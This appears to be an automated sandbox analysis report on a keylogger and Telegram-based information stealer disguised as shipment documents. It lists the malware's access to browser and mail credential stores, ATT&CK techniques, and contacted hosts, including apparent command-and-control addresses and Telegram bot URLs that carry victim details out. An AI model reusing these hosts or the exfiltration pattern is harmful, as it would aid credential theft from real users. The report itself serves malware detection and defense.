Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 8136, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 8136, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 8136, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rShipmentDocuments.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rShipmentDocuments.exe	38%	Virustotal		Browse
rShipmentDocuments.exe	29%	ReversingLabs	Win32.Trojan.Generic
rShipmentDocuments.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	38%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
reallyfreegeoip.org	0%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://api.telegram.org	1%	Virustotal		Browse
http://varders.kozow.com:8081	15%	Virustotal		Browse
https://www.office.com/lB	0%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en	0%	Virustotal		Browse
https://www.office.com/	0%	Virustotal		Browse
https://www.office.com/p	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://api.telegram.org/bot/sendMessage?chat_id=&text=	2%	Virustotal		Browse
http://aborters.duckdns.org:8081	14%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?L	7%	Virustotal		Browse
https://api.telegram.org/bot	4%	Virustotal		Browse
http://anotherarmy.dns.army:8081	18%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
checkip.dyndns.com	132.226.247.73	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:30:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:40:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://api.telegram.org/bot	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://www.fontbureau.com/designers?	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003251000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://chrome.google.com/webstore?hl=enp	ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003216000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.tiro.com	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003EE4000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E96000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D67000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D40000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042E6000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000041B7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004334000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004409000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004190000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004142000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003225000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://varders.kozow.com:8081	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20a	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.sajatypeworks.com	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/p	ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003247000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
